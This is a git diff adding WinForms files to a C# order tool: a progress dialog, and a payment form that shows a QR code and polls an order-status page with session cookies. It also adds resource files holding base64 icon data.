zMzMzMzMzMzMzMzI////////iIiIiIiP//////+MzMzMzMzMyP//////+IiIiIiIiP//////+MzMzMzM + zMzMzMzMzMzMzMzMzMzMeP///////4iIiIiIj///////jMzMzMzMzMj///////+IiIiIiIj///////jM + zMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiIiP//////+HzMzMzMzMzHj///////iIiIiIiI//// + ///4zMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIiI////////jMzMzMzMzMzI///////4iIiIiI + iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMzMj////////4iIiIiP///////4zMzMzMzMzMyP///////4 + iIiIiIiP//////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiI////////h8zMzMzMzMzMeP// + /////4iIiIiIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIj////////4fMzMzMzMzM + zHj///////+IiIiIiI//////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////iIiP////////+MzMzM + zMzMzMzI////////+IiIiIiP//////h8zMzMzMzMzMzMxmzMzMzMzMzMx4/////////4iP/////////4 + fMzMzMzMzMzMx4////////+IiIiIj//////4fMzMzMzMzMzMzMZszMzMzMzMzMeP//////////////// + ////+MzMzMzMzMzMzMyP////////iIiIiP//////+HzMzMzMzMzMzMzGbMzMzMzMzMzH//////////// + //////////fMzMzMzMzMzMzMeP////////iIiIj///////98zMzMzMzMzMzMxmzMzMzMzMzMyP////// + //////////////+HzMzMzMzMzMzMzHj/////////+IiP////////jMzMzMzMzMzMzMZszMzMzMzMzMj/ + ////////////////////jMzMzMzMzMzMzMzIj////////////////////4zMzMzMzMzMzMzGTMzMzMzM + zMzH////////////////////+HzMzMzMzMzMzMzMx4////////////////////+MzMzMzMzMzMzMxAzM + zMzMzMzMx/////////////////////jMzMzMzMzMzMzMzMyI///////////////////4fMzMzMzMzMzM + zMAGzMzMzMzMzMeP//////////////////+HzMzMzMzMzMzMzMzMeP//////////////////+HzMzMzM + zMzMzMxgBszMzMzMzMzHj//////////////////4fMzMzMzMzMzMzMzMzMeP//////////////////h8 + zMzMzMzMzMzMYADMzMzMzMzMzI//////////////////+HzMzMzMzMzMzMzMzMzHj/////////////// + ///4zMzMzMzMzMzMzAAAbMzMzMzMzMyP/////////////////4fMzMzMzMzMzMzMzMzMzHj///////// + ////////+MzMzMzMzMzMzMYAAEzMzMzMzMzMj/////////////////+MzMzMzMzMzMzMzMzMzMzIj/// + /////////////4fMzMzMzMzMzMzEAAAGzMzMzMzMzHj////////////////4fMzMzMzMzMzMzMzMzMzM + x4////////////////+MzMzMzMzMzMzMYAAABMzMzMzMzMx4////////////////h8zMzMzMzMzMzMzM + zMzMzMx4///////////////4fMzMzMzMzMzMzEAAAABszMzMzMzMx4//////////////+HzMzMzMzMzM + zMzMzMzMzMzMx4//////////////+MzMzMzMzMzMzMYAAAAATMzMzMzMzMyP/////////////4fMzMzM + zMzMzMzMzMzMzMzMzMeI/////////////4fMzMzMzMzMzMzEAAAAAAbMzMzMzMzMeP////////////h8 + zMzMzMzMzMzMzMzMzMzMzMzMeI////////////h8zMzMzMzMzMzMYAAAAAAAbMzMzMzMzMeP//////// + //iHzMzMzMzMzMzMzMzMzMzMzMzMzMyI//////////+HzMzMzMzMzMzMxgAAAAAAAEzMzMzMzMzMeP// + //////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMx4/////////4fMzMzMzMzMzMzMQAAAAAAAAGzMzMzMzM + zMeI//////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4j//////4h8zMzMzMzMzMzMxgAAAAAAAAAGzM + zMzMzMzMx4iIiIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiIj/+Ih3zMzMzMzMzMzMzGAAAAAAAA + AAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx3iId8zMzMzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/29WxOrder/ToolForms/ProgressForm.Designer.cs b/29WxOrder/ToolForms/ProgressForm.Designer.cs new file mode 100644 index 0000000..ed298e4 --- /dev/null +++ b/29WxOrder/ToolForms/ProgressForm.Designer.cs @@ -0,0 +1,87 @@ +namespace _29WxOrder.ToolForms +{ + partial class ProgressForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.panel1 = new System.Windows.Forms.Panel(); + this.progressBar1 = new System.Windows.Forms.ProgressBar(); + this.label1 = new System.Windows.Forms.Label(); + this.panel1.SuspendLayout(); + this.SuspendLayout(); + // + // panel1 + // + this.panel1.BackColor = System.Drawing.Color.White; + this.panel1.Controls.Add(this.label1); + this.panel1.Controls.Add(this.progressBar1); + this.panel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel1.Location = new System.Drawing.Point(2, 32); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(524, 359); + this.panel1.TabIndex = 3; + // + // progressBar1 + // + this.progressBar1.Location = new System.Drawing.Point(24, 218); + this.progressBar1.Name = "progressBar1"; + this.progressBar1.Size = new System.Drawing.Size(477, 23); + this.progressBar1.TabIndex = 0; + // + // label1 + // + this.label1.Location = new System.Drawing.Point(24, 102); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(477, 86); + this.label1.TabIndex = 1; + this.label1.Text = "label1"; + this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + // + // ProgressForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(528, 393); + this.Controls.Add(this.panel1); + this.Name = "ProgressForm"; + this.Padding = new System.Windows.Forms.Padding(2, 0, 2, 2); + this.Text = "ProgressForm"; + this.TitleText = "ProgressForm"; + this.Load += new System.EventHandler(this.ProgressForm_Load); + this.Controls.SetChildIndex(this.panel1, 0); + this.panel1.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.ProgressBar progressBar1; + } +} \ No newline at end of file diff --git a/29WxOrder/ToolForms/ProgressForm.cs b/29WxOrder/ToolForms/ProgressForm.cs new file mode 100644 index 0000000..6f5e094 --- /dev/null +++ b/29WxOrder/ToolForms/ProgressForm.cs @@ -0,0 +1,38 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work.BaseForms; + +namespace _29WxOrder.ToolForms +{ + public partial class ProgressForm : BaseForm + { + public ProgressForm() + { + InitializeComponent(); + } + + private void ProgressForm_Load(object sender, EventArgs e) + { + this.IsShowMax = false; + this.pbCloseBase.Visible = false; + } + + public void SetText(string text) + { + this.label1.Text = text; + } + + public void SetProGress(int value, int Total) + { + this.progressBar1.Value = value; + this.progressBar1.Maximum = Total; + } + } +} diff --git a/29WxOrder/ToolForms/ProgressForm.resx b/29WxOrder/ToolForms/ProgressForm.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/29WxOrder/ToolForms/ProgressForm.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/29WxOrder/ToolForms/WechatPaymentForm.Designer.cs b/29WxOrder/ToolForms/WechatPaymentForm.Designer.cs new file mode 100644 index 0000000..9d0bc77 --- /dev/null +++ b/29WxOrder/ToolForms/WechatPaymentForm.Designer.cs @@ -0,0 +1,105 @@ + +namespace _29WxOrder.ToolForms +{ + partial class WechatPaymentForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(WechatPaymentForm)); + this.panel1 = new System.Windows.Forms.Panel(); + this.pictureBox1 = new System.Windows.Forms.PictureBox(); + this.label1 = new System.Windows.Forms.Label(); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).BeginInit(); + this.panel1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); + this.SuspendLayout(); + // + // pbCloseBase + // + this.pbCloseBase.Location = new System.Drawing.Point(246, 0); + // + // panel1 + // + this.panel1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.panel1.BackColor = System.Drawing.Color.White; + this.panel1.Controls.Add(this.label1); + this.panel1.Controls.Add(this.pictureBox1); + this.panel1.Location = new System.Drawing.Point(2, 31); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(274, 261); + this.panel1.TabIndex = 3; + // + // pictureBox1 + // + this.pictureBox1.Anchor = System.Windows.Forms.AnchorStyles.Top; + this.pictureBox1.Location = new System.Drawing.Point(41, 17); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new System.Drawing.Size(196, 188); + this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom; + this.pictureBox1.TabIndex = 4; + this.pictureBox1.TabStop = false; + // + // label1 + // + this.label1.Anchor = System.Windows.Forms.AnchorStyles.Top; + this.label1.AutoSize = true; + this.label1.ForeColor = System.Drawing.Color.OrangeRed; + this.label1.Location = new System.Drawing.Point(74, 225); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(131, 12); + this.label1.TabIndex = 5; + this.label1.Text = "请使用百度APP扫码支付"; + // + // WechatPaymentForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(278, 295); + this.Controls.Add(this.panel1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "WechatPaymentForm"; + this.Text = "QRCode"; + this.TitleText = "QRCode"; + this.Load += new System.EventHandler(this.WechatPaymentForm_Load); + this.Controls.SetChildIndex(this.panel1, 0); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).EndInit(); + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.PictureBox pictureBox1; + } +} \ No newline at end of file diff --git a/29WxOrder/ToolForms/WechatPaymentForm.cs b/29WxOrder/ToolForms/WechatPaymentForm.cs new file mode 100644 index 0000000..1d96061 --- /dev/null +++ b/29WxOrder/ToolForms/WechatPaymentForm.cs @@ -0,0 +1,85 @@ +using AllBase; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using System.Windows.Threading; +using Work; +using Work.BaseForms; +using ZXing; +using ZXing.Common; +using ZXing.QrCode; + +namespace _29WxOrder.ToolForms +{ + public partial class WechatPaymentForm : BaseForm + { + string urlcode = ""; + string orderid = ""; + string cookie = ""; + public string chatStatusPrompt = ""; + private DispatcherTimer timer; + + public WechatPaymentForm(string codeurl, string ordersn, string cookies) + { + InitializeComponent(); + + urlcode = codeurl; + orderid = ordersn; + cookie = cookies; + } + + private void WechatPaymentForm_Load(object sender, EventArgs e) + { + timer = new DispatcherTimer(); + timer.Interval = TimeSpan.FromMilliseconds(3000); + timer.Tick += new EventHandler(timer_Tick); + timer.Start(); + if (!string.IsNullOrEmpty(urlcode)) + createQRCode(urlcode, 170, 170); + } + + private void createQRCode(string content, int width, int height) + { + EncodingOptions options; + //包含一些编码、大小等的设置 + //BarcodeWriter :一个智能类来编码一些内容的条形码图像 + BarcodeWriter write = null; + options = new QrCodeEncodingOptions + { + DisableECI = true, + CharacterSet = "UTF-8", + Width = width, + Height = height, + Margin = 0 + }; + write = new BarcodeWriter(); + //设置条形码格式 + write.Format = BarcodeFormat.QR_CODE; + //获取或设置选项容器的编码和渲染过程。 + write.Options = options; + //对指定的内容进行编码,并返回该条码的呈现实例。渲染属性渲染实例使用,必须设置方法调用之前。 + System.Drawing.Bitmap bitmap = write.Write(content); + + this.pictureBox1.Image = bitmap; + } + + private void timer_Tick(object sender, EventArgs e) + { + string htmlpay = GetPostTaobaoHtml.UploadTaobao(BaseClass.PddMobileUrl + "order.html?order_sn=" + orderid, "", true, cookie); + chatStatusPrompt = BaseRegex.GetStringJson(ref htmlpay, "orderStatusPrompt"); + if (chatStatusPrompt == "待发货" || chatStatusPrompt == "待分享") + { + timer.Stop(); + this.TopMost = false; + this.Close(); + } + + } + } +} diff --git a/29WxOrder/ToolForms/WechatPaymentForm.resx b/29WxOrder/ToolForms/WechatPaymentForm.resx new file mode 100644 index 0000000..85fc004 --- /dev/null +++ b/29WxOrder/ToolForms/WechatPaymentForm.resx @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAQcgAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzM + zMzMzMzMzMx3d4iIiIiIiIh3fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzMzMzMzMzHeIiIiIj/////////iIiIiId8zMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzMzMzMzMeIiI/////////////////////4iIh8zMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzMzMzMzHiI////////////////////////////iIfMzMzMzMzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMzMzMx3iP///////////////////////////////4iHzMzMzMzMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMzMzMx3iP//////////////////////////////////+IfMzMzMzMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzMzMx3iP/////////////////////////////////////4h8zMzMzMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzMzMzHiP////////////////////////////////////////h3zM + zMzMzMzMzMzMzMzGAAAABMzMzMzMzMzMzMzMzHiP//////////////////////////////////////// + //iHzMzMzMzMzMzMzMzMzEAAAAbMzMzMzMzMzMzMzMeI//////////////////////////////////// + ////////+IfMzMzMzMzMzMzMzMxgAABMzMzMzMzMzMzMzMx4//////////////////////////////// + //////////////+IfMzMzMzMzMzMzMzMxAAAbMzMzMzMzMzMzMzHj/////////////////////////// + /////////////////////4fMzMzMzMzMzMzMzMYAAMzMzMzMzMzMzMzMeP////////////////////// + ///////////////////////////4fMzMzMzMzMzMzMzMAAbMzMzMzMzMzMzMx4////////////////// + /////////////////////////////////4fMzMzMzMzMzMzMzGAGzMzMzMzMzMzMzHj///////////// + ///////////////////////////////////////4fMzMzMzMzMzMzMxgDMzMzMzMzMzMzMyI//////// + /////////////////////////////////////////////4zMzMzMzMzMzMzMwEzMzMzMzMzMzMzHj/// + //////////////////////////////////////////////////+HzMzMzMzMzMzMzMRszMzMzMzMzMzM + eP//////////////////////////////////////////////////////+HzMzMzMzMzMzMzGbMzMzMzM + zMzMzHj///////////////////////////////////////////////////////+MzMzMzMzMzMzMxmzM + zMzMzMzMzMyP////+IiP////////////////////////////////////////+I//////h8zMzMzMzMzM + zMZszMzMzMzMzMzHj////4iIiI//////////////////////////////////////+IiIj/////jMzMzM + zMzMzMzGbMzMzMzMzMzMyP////iIiIiI/////////////////////////////////////4iIiIj////4 + fMzMzMzMzMzMxszMzMzMzMzMzHj////4iIiIiP////////////////////////////////////+IiIiI + j////4zMzMzMzMzMzMbMzMzMzMzMzMx4////iIiIiIj////////////////////////////////////4 + iIiIiI////+HzMzMzMzMzMzMzMzMzMzMzMzMj////4iIiIiI//////////////+IiP//iI////////// + ////+IiIiIiP////h8zMzMzMzMzMzMzMzMzMzMzMzI/////4iIiIiP/////////////4d3eIiIeIj/// + //////////+IiIiIj/////jMzMzMzMzMzMzMzMzMzMzMzMyP////+IiIiIj/////////////iIiId3eI + iI//////////////iIiIiI/////4zMzMzMzMzMzMzMzMzMzMzMzHj/////+IiIiP/////////////4// + /4d4j/+P//////////////iIiIj/////+MzMzMzMzMzMzMzMzMzMzMzMx4//////+IiP//////////// + ///////4j///////////////////iIiP//////jMzMzMzMzMzMzMzMzMzMzMzMeP//////////+IiIj/ + ///////////////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzH//////////+H + fMx8eP//////////////////////////iId3iP//////////+HzMzMzMzMzMzMzMzMzMzMzMyP////// + ///4fMzHh8eP////////////////////////+MzMzMd4//////////h8zMzMzMzMzMzMzMzMzMzMzMf/ + ////////+MzMePjMeP///////////////////////4zMzMeHx4/////////4fMzMzMzMzMzMzMzMzMzM + zMzH/////////4fMd3eHzMeP//////////////////////iMzMzIiHx4////////+HzMzMzMzMzMzMzM + zMzMzMzMx/////////+Hx4iIfMzMj//////////////////////4h3d8x4h8yP////////jMzMzMzMzM + zMzMzMzMzMzMzMeP////////+HiP+IfMzI//////////////////////+HiIiHd3zHj////////4zMzM + zMzMzMzMzMzMzMzMzMzHj/////////h4//+HzMeP//////////////////////h4//h8zMyP//////// + +MzMzMzMzMzMzMzMzMzMzMzMzI/////////4iP//h8x4///////////////////////4j//4fMzHj/// + //////jMzMzMzMzMzMzMzMzMzMzMzMyP///////4iIiP+IfHj///////////////////////+Ij/+HzM + eP/////////4zMzMzMzMzMzMzMzMzMzMzMzMj///////iIiIiIh3eP////////////////////////+I + j4h8x3iI////////h8zMzMzMzMzMzMzMzMzMzMzMzH//////+Hj///iIiI////////////////////// + /////4iId4iIiIj//////4zMzMzMzMzMzMzMzMzMzMzMzMx4//////iP////iP////////////////// + /////////////4iP//iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMyP//////////+I////////////// + ///////////////////4eP//iP//////jMzMzMzMzMzMzMzMzMzMzMzMzMj///////////iP//////// + /////////////////////////4j/////////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////////// + //////////////////////////////+I//////////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////// + //////////////////////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + eP///////////////////////////////////////////////////////4zMzMzMzMzMzMzMzMzMzMzM + zMzMzMj///////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzM + zMzMzMzMzMzHj//////////////////////////////////////////////////////4zMzMzMzMzMzM + zMzMzMzMzMzMzMzMzI//////////////////////////////////////////////////////h8zMzMzM + zMzMzMzMzMzMzMzMzMzMzMx4////////////////////////////////////////////////////+HzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMyI////+I//////////////////////////////////////////// + //h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+Ij///////////////////////////////////// + //////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+IiIiIj//////////////////////////4 + ////iI/////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiP/////4iIiP////////////////////// + ////+IiIiIj/////iHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////////////////// + ///////////4iIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP//////////////////// + //////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////// + //////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHj///////// + 